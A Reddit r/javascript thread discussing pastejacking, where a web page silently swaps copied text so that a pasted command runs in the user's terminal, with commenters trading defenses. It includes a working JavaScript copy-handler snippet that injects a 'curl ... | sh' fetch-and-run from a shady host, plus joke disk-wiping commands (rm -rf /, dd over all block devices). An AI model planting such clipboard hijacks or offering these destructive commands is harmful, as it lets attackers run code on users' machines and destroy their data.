r/javascript • u/brandon_lanket • Oct 15 '20
Don't Copy Paste Into a Shell
https://briantracy.xyz/writing/copy-paste-shell.html14
u/toastertop Oct 15 '20
You have some spelling mistakes in your article. The one in the title stands out
5
157
123
Oct 15 '20
For those who only read the comments:
document.getElementById('copyme').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'echo "this could have been [curl http://myShadySite.com | sh]"\n'
);
e.preventDefault();
});0
Oct 15 '20
[deleted]
6
u/MonkAndCanatella Oct 15 '20
Welp, looks like I'm gonna have to right click > copy whenever pasting something into my terminal
7
26
11
u/PM_ME_A_WEBSITE_IDEA Oct 15 '20
Smort. Workaround: paste into a text editor first!
I do this a lot tbh. Fairly new to linux so I'm looking this stuff up a lot...
4
u/brie_de_maupassant Oct 15 '20
Or just type a # in your terminal before you paste
7
2
u/OmgImAlexis Oct 15 '20
Not sure how that stops multi-line blocks. It’ll show the comment and then just run the next section.
11
Oct 15 '20
Ctrl-x Ctrl-e will open a text editor (works in bash and zsh and probably others). Saving and quitting will execute the command (I think zsh just pastes it into the terminal but doesn't run it). Easy way to paste commands and tweak them before use (and stop this kind of exploit from happening)
1
17
8
u/spectre013 Oct 15 '20
I keep a bookmark on my bar that opens a new tab in chrome that makes it a text area that I can keep random snippits while I am working
data:text/html, <html contenteditable>
I copy all commands that I copy into one of these first found a few times where people are doing shady things.
11
Oct 15 '20
rm -rf /
19
Oct 15 '20
--no-preserve-root
18
6
u/tynorf Oct 15 '20
I think it’s more fun to go after block devices directly:
dd if=/dev/urandom bs=16384 | tee $(lsblk -dno TYPE,NAME | awk ‘/^disk/{print “/dev/“ $2)’) >/dev/null4
1
3
u/mjarkk Oct 15 '20
No do more evil: mv -r */ ../
2
2
u/onthefence928 Oct 15 '20
is this moving your root into a folder within root? am i reading that wrong?
1
u/mjarkk Oct 16 '20
Ah classic markdown i meant
mv -r **/ ../I should move all folder to their parents
3
u/KangarooImp Oct 15 '20
Please note that this attack is also possible without the JavaScript API, simply by formatting the malicious commands to be invisible (microscopic font-size, use a font with invisible 0-width characters, ...). That makes workarounds like (just) using the middle-click clipboard insecure. I'm pasting into a text editor or the address bar myself (not a zsh user).
3
u/ghostfacedcoder Oct 15 '20
I mean, it depends: if you are copy/pasting from (say) Stack Overflow, you don't have to worry about this. But on a random blog ...
2
2
2
u/ItalyPaleAle Oct 16 '20
zsh doesn’t run the command automatically if it ends with a new line and you paste it (not sure if it’s the default behavior or if it’s optional)
2
u/something Oct 16 '20
There's another trick that uses CSS. Just don't ever paste into your terminal
1
u/ewoLS Oct 15 '20
Does the API not require explicit permission from the user?
5
u/ewoLS Oct 15 '20
Turns out the read require permissions but write just needs to be in the active tab
1
u/onthefence928 Oct 15 '20
this is why i dont like that so many linux tutorials are just "copy this into your terminal"
i get that it's the only way to ensure the advice will do what you want in as many cases as possible since there's so much variety in linux but it can be very daunting to manually type a 5+line command into a terminal and new users may be unable to troubleshoot effectively if they have a typo
1
u/iaan Oct 15 '20
Am I missing something? It didn't trigger the command when I copy pasted it on my mac terminal (zsh)
Still dangerous I guess.
1
u/toastertop Oct 15 '20
Would the opposite also be true? A site can copy the contents of your clipboard?
1
u/daamsie Oct 15 '20
Well damn. Been living on the edge for a while I guess.
Is there any browser extension that can help with this? I'm thinking when I copy a piece of text I would like to be able to immediately see a confirmation of what I copied.
1
1
u/m0ddixx Oct 16 '20
In Firefox setting dom.event.clipboardevents.enabled to false in about:config will prevent such behaviour
1
u/Thann Oct 15 '20
Typically, in Linux DEs, you can just "select" text to copy it to your secondary clipboard, and it doesn't trigger the "copy" event ;)
(use middle-click to paste from secondary clipboard)
ALSO: gnome-terminal warns you when pasting a newline into terminal and shows you what would be pasted so linux-users are practially immune to this issue =]
0
Oct 15 '20
[deleted]
21
u/tongue_depression Oct 15 '20
yeah, ive only noticed this on windows terminals for some reason. nevertheless, it is greatly appreciated
0
Oct 15 '20
[deleted]
13
u/sp46 Oct 15 '20
Konsole (Linux, Most Qt based distros) warns you about any characters that usually don't go into a command, and previews that command including clearly marked newlines.
Xfce4-Terminal (Linux, imo the best Terminal for GTK based distros) warns you about newlines. Without a preview, however.
iTerm2 (macOS) also does this I've heard.Also, the zsh shell, standard on macOS and, in my opinion, the best option for Linux, takes pasted newlines as a literal newline in the middle of a command.
1
u/AlexAegis Oct 15 '20
I haven't noticed yet! (Not like I'm pasting stuff into the console all that often) Konsole is amazing, I used it for quite a while, I'm on kitty right now but I might go back for konsole.
2
1
u/helloiamsomeone Oct 17 '20
cmder has been doing this forever.
I can't imagine myself using any other terminal emulator on windows.1
56
u/brandon_lanket Oct 15 '20
I have seen rampant abuse of the clipboard api. What does everyone think about its default permissions / lack of notification when used?